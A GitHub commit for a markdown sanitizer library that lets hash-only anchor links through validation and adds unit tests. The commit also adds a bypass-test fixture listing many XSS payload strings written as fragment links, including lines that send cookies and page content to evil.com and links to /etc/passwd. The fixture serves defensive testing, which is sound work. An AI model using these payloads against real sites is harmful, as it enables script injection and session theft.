Skip to content

Commit cf5b5bb

Browse files
Allow non-malicious anchor links (#25)
* Allow non-malicious links starting with hash * Update tests * Create wet-kings-carry.md * Update wet-kings-carry.md * Resolve feedback, allow all hash links * Fix unit tests * Update bypass-attempts.test.ts * Create 211-hash-fragment-exploitation.md * Resolve comment * Restore deleted bypass examples
1 parent d110a86 commit cf5b5bb

File tree

7 files changed

+204
-0
lines changed

7 files changed

+204
-0
lines changed

.changeset/wet-kings-carry.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
---
2+
"rehype-harden": patch
3+
"markdown-to-markdown-sanitizer": patch
4+
"harden-react-markdown": patch
5+
---
6+
7+
Allow non-malicious links starting with hash

markdown-to-markdown-sanitizer/src/url-normalizer.ts

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,15 @@ export class UrlNormalizer {
9090
}
9191

9292
sanitizeUrl(url: string, type: "href" | "src"): string {
93+
// Allow hash-only (fragment-only) URLs for links - they navigate within the current page
94+
if (type === "href" && url.startsWith("#")) {
95+
const parsedURL = tryParseUrl(url, this.options.defaultLinkOrigin || this.options.defaultOrigin);
96+
if (parsedURL && parsedURL.hash === url) {
97+
return url;
98+
}
99+
// If it's not a valid hash-only URL, fall through to normal validation
100+
}
101+
93102
const normalizedUrl = this.normalizeUrl(
94103
url,
95104
type === "src"

markdown-to-markdown-sanitizer/tests/basic-sanitization.test.ts

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,41 @@ describe("Basic Markdown Sanitization", () => {
1515
};
1616

1717
describe("Link Sanitization", () => {
18+
test("allows hash-only anchor links without requiring prefixes", () => {
19+
const input = "[Jump to section](#hero)";
20+
const result = sanitize(input, {
21+
allowedLinkPrefixes: ["https://example.com/blog"],
22+
});
23+
expect(result).toBe("[Jump to section](#hero)\n");
24+
});
25+
26+
test("allows hash-only anchor links even with no allowed prefixes", () => {
27+
const input = "[Jump to top](#top)";
28+
const result = sanitize(input, {
29+
allowedLinkPrefixes: [],
30+
});
31+
expect(result).toBe("[Jump to top](#top)\n");
32+
});
33+
34+
test("safely handles hash fragments that look malicious but are just fragments", () => {
35+
// When markdown is parsed, #javascript:alert('xss') is treated as a fragment identifier
36+
// Hash-only URLs are allowed because they're just in-page navigation, not executable code
37+
const input = "[Click me](#javascript:alert('xss'))";
38+
const result = sanitize(input);
39+
// Hash fragments are preserved as-is since they're safe fragment identifiers
40+
// Parentheses are markdown-escaped rather than URL-encoded
41+
expect(result).toBe("[Click me](#javascript:alert\\('xss'\\))\n");
42+
});
43+
44+
test("safely handles hash fragments with data: pattern", () => {
45+
// Similar to above - these are just fragment identifiers, not data: URLs
46+
// Hash-only URLs starting with # are preserved as safe in-page navigation
47+
const input = "[Click me](#data:text/html,<script>alert('xss')</script>)";
48+
const result = sanitize(input);
49+
// Parentheses are markdown-escaped rather than URL-encoded
50+
expect(result).toBe("[Click me](#data:text/html,%3Cscript%3Ealert\\('xss'\\)%3C/script%3E)\n");
51+
});
52+
1853
test("allows trusted links", () => {
1954
const input = "[Click here](https://example.com/page)";
2055
const result = sanitize(input);

markdown-to-markdown-sanitizer/tests/bypass-attempts.test.ts

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -224,6 +224,12 @@ describe("Markdown Sanitizer Bypass Attempts", () => {
224224
return false;
225225
}
226226

227+
// Allow hash-only fragments (in-page navigation)
228+
// These are safe because they're just fragment identifiers, not executable URLs
229+
if (url.startsWith("#")) {
230+
return false;
231+
}
232+
227233
try {
228234
const parsedUrl = new URL(url);
229235

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
# Hash Fragment Exploitation Attempts
2+
3+
## Direct javascript: protocol in fragments
4+
[Click me](#javascript:alert('xss'))
5+
[Execute](#javascript:void(window.location='https://evil.com'))
6+
[Steal](#javascript:document.write('<img src=//evil.com?c='+document.cookie+'>'))
7+
8+
## data: protocol patterns in fragments
9+
[View](#data:text/html,<script>alert('xss')</script>)
10+
[Load](#data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=)
11+
[Exec](#data:application/javascript,alert('xss'))
12+
13+
## vbscript: and other script protocols in fragments
14+
[VBS](#vbscript:msgbox("xss"))
15+
[LiveScript](#livescript:alert('xss'))
16+
[JScript](#jscript:alert('xss'))
17+
18+
## Protocol confusion with fragments
19+
[Confuse](#javascript:alert(1)//https://safe.com)
20+
[Fake](#https://safe.com#javascript:alert(1))
21+
[Mixed](#//safe.com#javascript:alert(1))
22+
23+
## Fragment with embedded redirects
24+
[Redirect](#javascript:location='https://evil.com')
25+
[Navigate](#javascript:window.location.href='https://evil.com')
26+
[Open](#javascript:window.open('https://evil.com'))
27+
28+
## Encoded dangerous fragments
29+
[URL encoded](#javascript%3Aalert%28%27xss%27%29)
30+
[Double encoded](#javascript%253Aalert%2528%2527xss%2527%2529)
31+
[HTML entities](#javascript&colon;alert&lpar;&apos;xss&apos;&rpar;)
32+
[Unicode](#java\u0073cript:alert('xss'))
33+
34+
## Fragment that looks safe but contains attacks
35+
[Safe link?](#user-profile?id=123&callback=javascript:alert(1))
36+
[API call?](#/api/endpoint?code=javascript:alert(1))
37+
[Anchor](#section#javascript:alert(1))
38+
39+
## Null byte and special character injection
40+
[Null](#safe\x00javascript:alert(1))
41+
[Tab](#safe\tjavascript:alert(1))
42+
[Newline](#safe%0Ajavascript:alert(1))
43+
[Carriage return](#safe%0Djavascript:alert(1))
44+
45+
## Fragments with HTML injection attempts
46+
[HTML](#<img src=x onerror=alert('xss')>)
47+
[Script tag](#<script>alert('xss')</script>)
48+
[SVG](#<svg/onload=alert('xss')>)
49+
[Style](#<style>@import'javascript:alert(1)'</style>)
50+
51+
## Fragments designed to exploit JS fragment navigation
52+
[Hash nav](#javascript:alert(1)#safe)
53+
[Multiple hashes](#safe##javascript:alert(1))
54+
[Hash encoding](#%23javascript:alert(1))
55+
56+
## Social engineering with deceptive fragments
57+
[Download PDF](#javascript:alert('This looks like a safe download'))
58+
[View Image](#data:text/html,<h1>Click here to view</h1><script>alert(1)</script>)
59+
[Open Document](#javascript:void(prompt('Enter password:')))
60+
61+
## Fragments with protocol smuggling
62+
[Smuggle](#javascript:/**/alert(1))
63+
[Comment](#javascript://comment%0Aalert(1))
64+
[Whitespace](#javascript: alert(1))
65+
[Tab separated](#javascript: alert(1))
66+
67+
## Fragments attempting to break parsing
68+
[Nested](#javascript:eval('#javascript:alert(1)'))
69+
[Recursive](#javascript:location.hash='#javascript:alert(1)')
70+
[Self-ref](#javascript:window.location='#'+window.location.hash)
71+
72+
## Browser-specific fragment exploits
73+
[Chrome](#chrome://settings)
74+
[Firefox](#about:config)
75+
[Edge](#edge://settings)
76+
[Safari](#safari://settings)
77+
78+
## File protocol in fragments
79+
[File](#file:///etc/passwd)
80+
[Local](#file://c:/windows/system32/config/sam)
81+
[Network](#file://attacker.com/share/malware.exe)
82+
83+
## Fragment with data exfiltration patterns
84+
[Exfil](#javascript:fetch('https://evil.com?d='+btoa(document.body.innerHTML)))
85+
[Cookie steal](#javascript:navigator.sendBeacon('https://evil.com',document.cookie))
86+
[Form data](#javascript:new Image().src='https://evil.com?'+document.forms[0].serialize())
87+
88+
## Fragments attempting DOM clobbering
89+
[Clobber](#javascript:document.body.innerHTML='<form name=location><input name=href></form>')
90+
[Override](#javascript:Object.defineProperty(window,'location',{value:{href:'https://evil.com'}}))
91+
92+
## Fragments with timing attacks
93+
[Timing](#javascript:setTimeout(alert,1000))
94+
[Interval](#javascript:setInterval(()=>fetch('https://evil.com'),1000))
95+
[Async](#javascript:Promise.resolve().then(()=>alert(1)))
96+
97+
## Fragments attempting to exploit markdown renderers
98+
[MD exploit](#javascript:');//';alert(1);//')
99+
[Template](#javascript:${alert(1)})
100+
[Interpolation](#javascript:`${alert(1)}`')
101+
102+
## Fragments with CRLF injection
103+
[CRLF](#safe%0D%0ALocation:%20javascript:alert(1))
104+
[Header inj](#safe%0D%0AContent-Type:%20text/html%0D%0A%0D%0A<script>alert(1)</script>)
105+
106+
## Fragments attempting to exploit URL parsers
107+
[Parser conf](#javascript:alert(1)?#safe)
108+
[Query in frag](#safe?callback=javascript:alert(1)#)
109+
[Authority](#javascript://[email protected]/alert(1))
110+
111+
## Fragments with polyglot payloads
112+
[Polyglot](#javascript:/*<script>*/alert(1)/*/</script>)
113+
[Multi-context](#javascript:'"-alert(1)-"')
114+
[Triple encoded](#javascript:%25%36%38%25%37%34%25%37%34%25%37%30)

rehype-harden/src/index.ts

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -83,6 +83,15 @@ function transformUrl(
8383
): string | null {
8484
if (!url) return null;
8585

86+
// Allow hash-only (fragment-only) URLs - they navigate within the current page
87+
if (typeof url === "string" && url.startsWith("#") && !isImage) {
88+
const parsedURL = parseUrl(url, defaultOrigin);
89+
if (parsedURL && parsedURL.hash === url) {
90+
return url;
91+
}
92+
// If it's not a valid hash-only URL, fall through to normal validation
93+
}
94+
8695
// Handle data: URLs for images if allowDataImages is enabled
8796
if (typeof url === "string" && url.startsWith("data:")) {
8897
// Only allow data: URLs for images when explicitly enabled

rehype-harden/src/tests/index.test.ts

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -171,6 +171,30 @@ describe("rehype-harden", () => {
171171
});
172172

173173
describe("URL transformation", () => {
174+
it("allows hash-only anchor links without requiring prefixes", async () => {
175+
const tree = await processMarkdown("[Jump to section](#hero)", {
176+
defaultOrigin: "https://example.com",
177+
allowedLinkPrefixes: ["https://example.com/blog"],
178+
});
179+
180+
const link = findElement(tree, "a");
181+
expect(link).not.toBeNull();
182+
expect(link!.properties.href).toBe("#hero");
183+
expect(link!.properties.target).toBe("_blank");
184+
expect(link!.properties.rel).toBe("noopener noreferrer");
185+
});
186+
187+
it("allows hash-only anchor links even with no allowed prefixes", async () => {
188+
const tree = await processMarkdown("[Jump to top](#top)", {
189+
defaultOrigin: "https://example.com",
190+
allowedLinkPrefixes: [],
191+
});
192+
193+
const link = findElement(tree, "a");
194+
expect(link).not.toBeNull();
195+
expect(link!.properties.href).toBe("#top");
196+
});
197+
174198
it("preserves relative URLs when input is relative and allowed", async () => {
175199
const tree = await processMarkdown("[Test](/path/to/page?query=1#hash)", {
176200
defaultOrigin: "https://example.com",

0 commit comments

Comments
 (0)